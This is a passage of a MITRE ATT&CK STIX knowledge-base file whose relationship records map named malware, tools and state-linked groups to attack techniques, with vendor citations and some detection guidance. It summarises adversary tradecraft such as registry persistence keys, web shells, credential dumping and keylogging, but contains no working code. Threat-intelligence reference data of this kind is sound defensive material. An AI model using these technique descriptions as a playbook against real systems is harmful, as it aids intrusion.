2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.968Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) can establish persistence by installing itself in the startup folder, whereas the GO variant has created a `HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookM` registry key.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Mandiant UNC3313 Feb 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4342d830-601b-45b7-9e0a-5ae7dfd5c964","created":"2024-02-09T19:27:16.492Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:27:16.492Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) is a web shell that can read, write, and execute files on compromised servers.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4347eb2b-b33d-4e17-94f2-3701e18f0cab","type":"relationship","created":"2021-05-20T12:20:42.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-05-20T12:20:42.354Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--434a9327-8e08-4336-adbd-f24a0ee9eba6","type":"relationship","created":"2020-03-30T18:49:40.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","source_name":"Palo Alto menuPass Feb 2017"},{"url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","source_name":"JPCERT ChChes Feb 2017"}],"modified":"2020-03-30T18:49:40.258Z","description":"[ChChes](https://attack.mitre.org/software/S0144) can encode C2 data with a custom technique that utilizes Base64.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)\t","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--434cc89e-291d-44e7-b18a-9710c659bd64","type":"relationship","created":"2021-01-25T13:58:25.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-04-27T00:05:45.696Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can remove its persistence and delete itself.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4358ef19-eef7-48bb-9941-39d70bf235af","created":"2020-12-28T18:50:41.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"FireEye Ryuk and Trickbot January 2019","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"},{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"FireEye FIN6 Apr 2019","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:25:52.880Z","description":"[AdFind](https://attack.mitre.org/software/S0552) can enumerate domain groups.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: Symantec Bumblebee June 2022)","relationship_type":"uses","source_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--435c288d-1e10-4610-bf41-531390e5a650","created":"2021-04-25T23:26:10.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T19:52:00.168Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: ClearSky MuddyWater Nov 2018)(Citation: FireEye MuddyWater Mar 2018)(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--435e156b-0d65-4920-ae12-f833d2005427","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows. Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access network configuration content)","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--435f910b-21a6-4814-b167-5262ca1e1e58","created":"2019-05-29T14:17:51.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.664Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) may download additional files to execute.(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43619944-94e9-43d9-a761-8e4db2113eef","type":"relationship","created":"2019-01-30T16:45:00.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne","source_name":"GitHub LaZagne Dec 2018"}],"modified":"2020-03-19T23:11:54.971Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from memory to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4364b7ab-fd25-4145-84e6-e9e74ac3c0dd","type":"relationship","created":"2021-10-06T18:50:00.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.388Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has embedded links to malicious downloads in e-mails.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--436bc39f-a6a0-4f8c-87e8-887cef2c67cd","created":"2024-05-22T22:23:54.178Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:23:54.178Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) gathered data from database and other critical servers in victim environments, then used wiping mechanisms as an anti-analysis and anti-forensics mechanism.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4372bc1b-e764-4208-a250-bd7d1669f0c5","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--437dd20a-234f-430b-b9ee-4524e1e12aa9","type":"relationship","created":"2017-05-31T21:33:27.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.413Z","description":"(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43809fa9-dbe2-4429-875e-f0828563d6aa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"},{"source_name":"ESET OceanLotus macOS April 2019","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."},{"source_name":"FireEye APT32 April 2020","url":"https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html","description":"Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."}],"modified":"2020-06-19T20:04:12.572Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server. [APT32](https://attack.mitre.org/groups/G0050) executed shellcode to identify the name of the infected host.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)(Citation: FireEye APT32 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43815eb8-45cf-4032-8958-d3e73f0a229e","type":"relationship","created":"2020-12-07T20:14:50.659Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-09T21:03:46.850Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has the ability to persist using scheduled tasks.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43886571-4415-484f-931b-3b30b9aefaa7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:33.342Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses tasklist /svc to display running tasks.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--438c4a38-3043-4697-8490-d63fcbc63cd8","created":"2022-02-02T13:03:25.562Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) can use `WTSEnumerateSessionsW` to monitor remote desktop connections.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T20:18:24.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--438cae9c-cb03-4db9-ae59-24ed27147725","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Nidiran","description":"Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99"}],"modified":"2020-03-18T15:21:51.782Z","description":"[Nidiran](https://attack.mitre.org/software/S0118) can download and execute files.(Citation: Symantec Backdoor.Nidiran)","relationship_type":"uses","source_ref":"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--438d20c5-9a71-43c8-b418-ca6360a515ff","created":"2024-04-12T10:32:17.872Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:32:17.872Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) utilizes external services such as ifconfig.me to identify the victim machine's IP address.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--438d3e9d-2a1d-48ba-b615-8ccb502dd15e","created":"2021-03-02T18:16:41.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"},{"source_name":"ObjectiveSee AppleJeus 2019","description":"Patrick Wardle. (2019, October 12). Pass the AppleJeus. Retrieved September 28, 2022.","url":"https://objective-see.org/blog/blog_0x49.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:48:39.096Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has sent data to its C2 server via POST requests.(Citation: CISA AppleJeus Feb 2021)(Citation: ObjectiveSee AppleJeus 2019)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--438f9fb0-bf82-4c72-8fdf-0dbc39bcf4fc","type":"relationship","created":"2021-03-19T16:26:04.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trendmicro Evolving ThiefQuest 2020","url":"https://www.trendmicro.com/en_us/research/20/g/updates-on-quickly-evolving-thiefquest-macos-malware.html","description":"Gabrielle Joyce Mabutas, Luis Magisa, Steven Du. (2020, July 17). Updates on Quickly-Evolving ThiefQuest macOS Malware. Retrieved April 26, 2021."}],"modified":"2021-04-26T20:02:14.275Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uses the CGEventTap functions to perform keylogging.(Citation: Trendmicro Evolving ThiefQuest 2020)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43908728-be5a-4bdf-a13e-8d373c1fc4fd","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET GreyEnergy Oct 2018","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"},{"source_name":"FireEye FELIXROOT July 2018","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:33:57.020Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts strings in the backdoor using a custom XOR algorithm.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43924791-6149-4869-a30c-0cad37d1e6f6","type":"relationship","created":"2021-04-12T19:26:30.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"McAfee Dianxun March 